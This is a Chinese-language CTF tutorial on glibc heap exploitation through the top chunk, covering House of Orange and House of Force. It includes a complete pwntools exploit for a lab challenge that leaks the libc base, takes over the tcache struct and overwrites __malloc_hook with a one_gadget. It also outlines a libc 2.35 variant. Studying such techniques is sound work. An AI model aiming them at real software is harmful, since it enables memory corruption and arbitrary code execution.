针对topChunk的攻击
House Of Orange
适用条件
- 题目中不存在 free 函数或其他释放堆块的函数
- 堆溢出写
- 能够修改到
top_chunk
的size
位 - 可以得到一个
unsortedbin
- glibc ≤ 2.23
原理
当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中,从而在没有free的前提下获得一个已经 free
了的 unsorted bin
我们假设目前的 top chunk 已经不满足 malloc 的分配需求。 首先我们在程序中的malloc
调用会执行到 libc.so 的_int_malloc
函数中,在_int_malloc
函数中,会依次检验 fastbin、small bins、unsorted bin、large bins 是否可以满足分配要求,因为尺寸问题这些都不符合。接下来_int_malloc
函数会试图使用 top chunk,在这里 top chunk 也不能满足分配的要求,因此会执行如下分支。
/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}
看top_chunk的size值,比如0x20791这样子
改为0x791,再申请一个大的即可无中生有一个unsorted bin出来。
只能改成0x791是因为glibc中会对 topchunk
的 size
位进行校验,由于操作系统是4k页对齐的,我们需要保证 低12位
大小不变,也就是 0x791
随后如果能够修改到unsortedbin的bk位,即可实现unsorted bin attack
一般后续攻击是挟持IO_list_all指针
unsorted bin attack实现的是将main_arena+0x88写到IO_list_all处
- 利用堆溢出来改小
top chunk
,然后在malloc一个大空间从而变出一个bin的打法全版本通用。
house of orange+
可以将 top chunk
的大小分配到比如 0x110a0 这样,然后可以将大小改为 0x0a0
,然后malloc一个大空间,可以放到 tcache
,在 libc2.26以下可以调整空间打 fastbin dup
原文见https://bbs.kanxue.com/thread-282523.htm
house of force
在libc 2.27及以下可用
glibc
中对 topchunk
的校验
// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
如果可以篡改 size 为一个很大值,就可以轻松的通过这个验证
也就是利用堆溢出将 topchunk
的 size
位改成 -1
,根据补码→无符号规则,是一个非常大的数 Umax
然后如果题目中对 malloc
的数没有校验,可以将 topchunk
往高地址推,从而实现任意空间分配。
例题:topchunkMaster
- libc-2.27
- 菜单题,没有free函数,有UAF
- 在
edit
函数处有堆溢出,可以溢出8个字节
在没有free的情况下,我们可以利用 house of orange
的前半部分打出一个 unsortedbin
出来。然后根据下面的示意图
我们现在 unsortedbin
中只有一个 bin,因此他的 bk指向的是 main_arena
,和 libc
的地址是有固定偏移的,我们可以将这堆块申请出来,然后show一下,然后计算出 libc
基地址
首先先申请一个 0x408大小的空间
可以发现,实际上的大小是 0x410
在这种情况下可以共用下一个堆块的 prev_size
的一个 byte,因此我们可以利用堆溢出改到 topchunk
的 size
位,改为0x9a1
然后我们可以add一个0x1000的大小,在glibc中,会进入到 use TOP
的代码段,调用 int_free
将原先的 top_chunk
free掉,从而我们有了一个 unsortebin
可以看到, 我们可以泄露 fd或者bk的值来计算libcbase
然后我们再申请一个堆块,show一下,就可以泄露出libc的地址,并计算libc基地址
然后我们需要申请一堆空间,将 unsortebin
耗尽,再次申请,就会从 topchunk
切割。
然后我们利用溢出将 topchunk
的 size
位修改为 -1
我们可以打 tcache_entry
注意到 tcache_perthread_entry
有 63
个重复的 counts
当 tcache
中每多一个对应大小的bins,对应的 counts
就会+1,我们可以修改 entries
实现任意写
这个 0x250
的堆块就是 tcache_perthread_entry
会在堆第一次初始化的时候初始。
我们可以计算他到现在 topchunk
的偏移 然后再减去 header
的 0x10
就可以将 topchunk
推到 tcache_entry
中,然后我们 malloc
获得这一块的写入,然后就可以控制 tcache
然后打 tcache→malloc_hook→one_gadget链即可
from pwn import *
context.arch = 'amd64'
# context.arch = 'amd64'
context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']
exe = ELF('./pwn')
libc = ELF('./libc.so.6')
p = process("./pwn")
def cmd(i, prompt = "5. exit"):
p.sendlineafter(prompt,str(i))
def add(index, size):
cmd(1)
p.sendlineafter("idx: ",str(index))
p.sendlineafter("size: ",str(size))
def show(index):
cmd(3)
p.sendlineafter("idx: ",str(index))
def edit(index, payload):
cmd(4)
p.sendlineafter("idx: ",str(index))
p.sendafter("content: ",payload)
add(0,0x408)
edit(0,flat(
b'a'*0x408,
0x9a1
))
add(0,0x1000)
add(0,0x60)
show(0)
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 0x3ec1f0
success(f"libc--->{hex(libc_base)}")
malloc_hook = libc_base + libc.sym['__malloc_hook']
realloc_addr = libc_base + libc.sym['realloc']
realloc_hook = libc_base + libc.sym['__realloc_hook']
og = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = [item + libc_base for item in og]
add(0,0x900)
add(0,0x408)
edit(0,flat(
b'a'*0x408,
-1
))
add(0,-0x22420-0x10)
add(0,0x240) # tcache_struct
edit(0,flat(
b'3'*0x10,0,0,0,0,0,0,0,0,0,p64(malloc_hook - 0x10),p64(malloc_hook - 0x8) # 0x50->realloc_hook 0x60 ->malloc_hook
))
add(0,0x50) #realloc_hook
edit(0,p64(one_gadget[2])+p64(realloc_addr +9))
# add(0,0x60)
# gdb.attach(p)
# gdb.attach(p)
p.interactive()
例题:topchunkmasterplus
libc2.35
依然可以leak libc,但是无法使用house of force申请超大内存空间(会调用mmap来分配)
同时打tcache存在 key
防止 double free
同时存在 safe link
ptr xor (addr >> 12)
比如我们需要写入 addr1
我们需要计算 addr1 ^ (当前tcache地址 >> 12)
因此我们需要leak堆地址
在 largebin
中,有四个指针,其中 fd_nextsize
就存有堆地址,我们可以拿到这个将largebin中的堆块申请出来一块,然后填 0x10个a
然后就会将 fd_nextsize
打印出来,从而leak堆地址
我们变出 unsortebin
之后,再申请一个大于 unsortebin
大小的内存,就会将 unsortebin
放到 largebin
中,然后我们可以尝试切割 largebin
或者直接申请 largebin
对应大小的空间,leak即可。
题目中存在后门,思路是用第一次攻击 topchunk
变出 unsortebin
来leaklibc,然后leak堆地址,然后再次攻击 topchunk
,变出两个 tcache
然后将 bss
段的地址放到 tcache
的 fd
中,最后申请出来改写 bss
段从而通过 check
函数。